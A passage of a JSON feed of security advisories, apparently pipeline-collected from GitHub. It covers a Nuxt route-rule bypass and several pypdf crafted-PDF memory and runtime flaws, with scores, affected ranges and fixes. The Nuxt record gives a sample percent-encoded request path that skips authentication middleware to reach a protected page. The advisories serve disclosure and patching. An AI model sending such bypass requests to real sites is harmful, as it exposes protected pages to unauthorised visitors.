(npm)","nuxt","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-jjm6-p2m9-9w4x","asOf":"2026-10-22T16:51:39.000Z"},"epss":{"probability":0.00406,"percentile":0.34623,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114130&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-jjm6-p2m9-9w4x","url":"https://github.com/advisories/GHSA-jjm6-p2m9-9w4x","type":"primary","publishedAt":"2026-10-22T16:51:37.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-jjm6-p2m9-9w4x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-jjm6-p2m9-9w4x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-jjm6-p2m9-9w4x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-jjm6-p2m9-9w4x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-jjm6-p2m9-9w4x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-jjm6-p2m9-9w4x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-jjm6-p2m9-9w4x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-jjm6-p2m9-9w4x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-jjm6-p2m9-9w4x, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114130&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114130, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114131","cveId":"CVE-2026-114131","aliases":["GHSA-6gq8-jgmh-3ffp"],"kind":"vulnerability","title":"Nuxt: Route rules are matched against the raw request path, so a percent-encoded segment can bypass `appMiddleware` on dynamic and catch-all routes","summary":"Nuxt compared `routeRules` keys against the raw request path, without decoding percent-encoding, while the router decodes parameters when it resolves a route. A request whose path is percent-encoded can therefore resolve to a page while failing to match the route rule meant to protect it, so the rule's `appMiddleware` never runs, including during server rendering.\n\nFor a page served through a dynamic or catch-all route, an attacker can percent-encode a character in the path to skip the rule:","detail":"### Summary\n\nNuxt compared `routeRules` keys against the raw request path, without decoding percent-encoding, while the router decodes parameters when it resolves a route. A request whose path is percent-encoded can therefore resolve to a page while failing to match the route rule meant to protect it, so the rule's `appMiddleware` never runs, including during server rendering.\n\n### Impact\n\nFor a page served through a dynamic or catch-all route, an attacker can percent-encode a character in the path to skip the rule:\n\n```ts\nexport default defineNuxtConfig({\n routeRules: {\n '/users/admin': { appMiddleware: 'auth' },\n },\n})\n```\n\nRequesting `/users/%61dmin` still renders `app/pages/users/[id].vue` with `id` decoded to `admin`, but the rule keyed `/users/admin` does not match, so `auth` does not run and the server renders and returns the gated page to an unauthenticated visitor. No privileges and no user interaction are required, and only ASCII characters are involved.\n\nPurely static ASCII routes are not affected: static segments are matched without decoding, so a request for `/%61dmin` does not resolve to the page registered at `/admin` and 404s instead of rendering.\n\nThe rule keys affected are the ones carried in the app manifest and consumed by the app: `appMiddleware`, `redirect`, `appLayout`, `ssr`, `prerender`, and the payload flags derived from `cache`, `isr` and `swr`.\n\nIf you have pinned or overridden dependency versions below what your Nuxt release declares, a release outside the affected ranges can still be exposed, so do not conclude from a single reproduction that you are unaffected.\n\n### Patches\n\nReleases from `4.4.4` and `3.21.4` are not affected, because their dependency floor requires a version of the underlying HTTP layer that normalises percent-encoding in the request path before routing, which removes the mismatch in a default install.\n\nThe comparison itself is fixed in `nuxt@4.5.2` and `nuxt@3.21.11`: route-rule keys and lookup paths are now decoded (and, unless `router.options.sensitive` is set, case-folded) before they are compared. Reserved escapes such as `%2F` are left encoded, so decoding cannot introduce extra path segments, and paths that cannot be decoded are matched verbatim. Upgrading to those releases is recommended, since it fixes the comparison rather than relying on a dependency to normalise the input, and it also restores route rules for pages whose paths contain non-ASCII characters.\n\n### Workarounds\n\nIf you cannot upgrade, do not rely on a `routeRules` key alone to protect a route. Attach the middleware to the page itself, which binds it to the resolved route rather than to the raw path string:\n\n```vue\n\n```\n\n### Credits\n\nThanks to @sushi-gif, whose report that route rules keyed with non-ASCII paths never match the routes generated for those pages prompted the review that found this issue.\n\nAffected package ranges reported by GitHub:\nnuxt: >= 4.0.0, < 4.4.4\nnuxt: >= 3.11.0, < 3.21.4","action":"GitHub lists first patched versions: nuxt: 4.4.4; nuxt: 3.21.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:50:53.000Z","updatedAt":"2026-10-22T16:50:54.000Z","regions":["Global"],"vendor":null,"product":"nuxt, nuxt","stacks":["JavaScript packages (npm)","nuxt","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-6gq8-jgmh-3ffp","asOf":"2026-10-22T16:50:54.000Z"},"epss":{"probability":0.00363,"percentile":0.29849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114131&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-6gq8-jgmh-3ffp","url":"https://github.com/advisories/GHSA-6gq8-jgmh-3ffp","type":"primary","publishedAt":"2026-10-22T16:50:53.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-6gq8-jgmh-3ffp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-6gq8-jgmh-3ffp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-6gq8-jgmh-3ffp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-6gq8-jgmh-3ffp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-6gq8-jgmh-3ffp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-6gq8-jgmh-3ffp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-6gq8-jgmh-3ffp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-6gq8-jgmh-3ffp, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-6gq8-jgmh-3ffp, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114131&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114131, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113789","cveId":"CVE-2026-113789","aliases":["GHSA-6vvc-x485-93v7"],"kind":"vulnerability","title":"pypdf: Possible long runtimes/large memory usage when retrieving form fields","summary":"An attacker who uses this vulnerability can craft a PDF which leads to large memory usage and/or long runtimes. This requires retrieving the form fields of a document.\n\nThis has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0).","detail":"### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to large memory usage and/or long runtimes. This requires retrieving the form fields of a document.\n\n### Patches\n\nThis has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#4219](https://github.com/py-pdf/pypdf/pull/4219).\n\nAffected package ranges reported by GitHub:\npypdf: < 6.21.0","action":"GitHub lists first patched versions: pypdf: 6.21.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:49:56.000Z","updatedAt":"2026-10-22T16:50:09.000Z","regions":["Global"],"vendor":null,"product":"pypdf","stacks":["Python packages (PyPI)","pypdf","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-6vvc-x485-93v7","asOf":"2026-10-22T16:50:09.000Z"},"epss":{"probability":0.00392,"percentile":0.3303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113789&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-6vvc-x485-93v7","url":"https://github.com/advisories/GHSA-6vvc-x485-93v7","type":"primary","publishedAt":"2026-10-22T16:49:56.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-6vvc-x485-93v7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-6vvc-x485-93v7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-6vvc-x485-93v7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-6vvc-x485-93v7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-6vvc-x485-93v7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-6vvc-x485-93v7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-6vvc-x485-93v7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-6vvc-x485-93v7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-6vvc-x485-93v7, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113789&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113789, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113790","cveId":"CVE-2026-113790","aliases":["GHSA-f54x-cmq8-qg57"],"kind":"vulnerability","title":"pypdf: Possible large memory usage when parsing arrays and dictionaries","summary":"An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing arrays and/or dictionaries with lots of elements.\n\nThis has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0).","detail":"### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing arrays and/or dictionaries with lots of elements.\n\n### Patches\n\nThis has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#4218](https://github.com/py-pdf/pypdf/pull/4218).\n\nAffected package ranges reported by GitHub:\npypdf: < 6.21.0","action":"GitHub lists first patched versions: pypdf: 6.21.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:49:40.000Z","updatedAt":"2026-10-22T16:49:41.000Z","regions":["Global"],"vendor":null,"product":"pypdf","stacks":["Python packages (PyPI)","pypdf","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-f54x-cmq8-qg57","asOf":"2026-10-22T16:49:41.000Z"},"epss":{"probability":0.00392,"percentile":0.3303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113790&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-f54x-cmq8-qg57","url":"https://github.com/advisories/GHSA-f54x-cmq8-qg57","type":"primary","publishedAt":"2026-10-22T16:49:40.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-f54x-cmq8-qg57, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-f54x-cmq8-qg57, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-f54x-cmq8-qg57, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-f54x-cmq8-qg57, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-f54x-cmq8-qg57, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-f54x-cmq8-qg57, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-f54x-cmq8-qg57, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-f54x-cmq8-qg57, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-f54x-cmq8-qg57, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113790&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113790, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113791","cveId":"CVE-2026-113791","aliases":["GHSA-cgf9-327m-v77c"],"kind":"vulnerability","title":"pypdf: Possible large memory usage when parsing content streams","summary":"An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing content streams with many small operations.\n\nThis has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0).","detail":"### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing content streams with many small operations.\n\n### Patches\n\nThis has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#4218](https://github.com/py-pdf/pypdf/pull/4218).\n\nAffected package ranges reported by GitHub:\npypdf: < 6.21.0","action":"GitHub lists first patched versions: pypdf: 6.21.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:49:22.000Z","updatedAt":"2026-10-22T16:49:24.000Z","regions":["Global"],"vendor":null,"product":"pypdf","stacks":["Python packages (PyPI)","pypdf","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-cgf9-327m-v77c","asOf":"2026-10-22T16:49:24.000Z"},"epss":{"probability":0.00392,"percentile":0.3303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113791&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-cgf9-327m-v77c","url":"https://github.com/advisories/GHSA-cgf9-327m-v77c","type":"primary","publishedAt":"2026-10-22T16:49:22.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-cgf9-327m-v77c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-cgf9-327m-v77c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-cgf9-327m-v77c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-cgf9-327m-v77c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-cgf9-327m-v77c, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API 